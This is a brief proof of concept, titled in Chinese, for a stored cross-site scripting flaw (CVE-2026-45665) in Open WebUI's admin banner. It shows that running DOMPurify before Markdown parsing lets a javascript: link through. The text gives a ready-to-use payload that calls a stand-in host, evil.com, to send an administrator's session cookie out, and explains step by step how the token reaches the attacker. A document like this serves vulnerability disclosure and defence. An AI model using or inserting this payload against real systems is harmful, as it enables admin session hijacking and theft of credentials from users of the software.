CVE-2026-45665 Open WebUI 存储型XSS漏洞

// PoC for CVE-2026-45665 // Exploit the sanitization order: DOMPurify runs before marked. // Input is treated as Markdown, allowing bypass of HTML sanitization. // Payload to inject into the Banner configuration: const maliciousPayload = "[Claim Admin Access](javascript:fetch('https://evil.com/steal?token='+document.cookie))"; // Analysis: // 1. DOMPurify scans the input string. It sees plain Markdown syntax, not HTML tags, so it passes. // 2. The 'marked' library parses the Markdown and generates an <a> tag with href="javascript:...". // 3. The rendered banner contains the malicious link. When the Super Admin interacts with the banner, // the JavaScript executes, sending the session token to the attacker.